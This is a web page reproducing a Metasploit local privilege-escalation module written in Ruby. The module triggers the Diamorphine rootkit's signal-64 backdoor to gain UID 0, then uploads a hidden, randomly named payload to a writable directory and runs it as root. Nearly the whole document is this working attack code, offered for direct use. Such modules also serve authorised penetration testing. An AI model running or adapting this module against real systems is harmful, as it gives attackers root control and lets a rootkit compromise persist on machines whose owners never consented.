Diamorphine Rootkit Signal Privilege Escalation

This Metasploit module uses Diamorphine rootkit's privesc feature using signal 64 to elevate the privileges of arbitrary processes to UID 0 (root). This module has been tested successfully with Diamorphine from master branch (2019-10-04) on Linux Mint 19 kernel 4.15.0-20-generic (x64).


MD5 | 0f5d26726fb0bdde38edd5ddbc676005

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'Diamorphine Rootkit Signal Privilege Escalation',
'Description' => %q{
This module uses Diamorphine rootkit's privesc feature using signal
64 to elevate the privileges of arbitrary processes to UID 0 (root).

This module has been tested successfully with Diamorphine from `master`
branch (2019-10-04) on Linux Mint 19 kernel 4.15.0-20-generic (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'm0nad', # Diamorphine
'bcoles' # Metasploit
],
'DisclosureDate' => '2013-11-07', # Diamorphine first public commit
'References' =>
[
['URL', 'https://github.com/m0nad/Diamorphine']
],
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'Notes' =>
{
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ]
},
'DefaultTarget' => 0))
register_options [
OptInt.new('SIGNAL', [true, 'Diamorphine elevate signal', 64])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def signal
datastore['SIGNAL'].to_s
end

def base_dir
datastore['WritableDir'].to_s
end

def upload_and_chmodx(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
write_file path, data
chmod path, 0755
end

def cmd_exec_elevated(cmd)
vprint_status "Executing #{cmd} ..."
res = cmd_exec("sh -c 'kill -#{signal} $$ && #{cmd}'").to_s
vprint_line res unless res.blank?
res
end

def check
res = cmd_exec_elevated 'id'

if res.include?('invalid signal')
return CheckCode::Safe("Signal '#{signal}' is invalid")
end

unless res.include?('uid=0')
return CheckCode::Safe("Diamorphine is not installed, or incorrect signal '#{signal}'")
end

CheckCode::Vulnerable("Diamorphine is installed and configured to handle signal '#{signal}'.")
end

def exploit
unless check == CheckCode::Vulnerable
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

payload_name = ".#{rand_text_alphanumeric 8..12}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe
register_file_for_cleanup payload_path

cmd_exec_elevated "#{payload_path} & echo "
end
end

Related Posts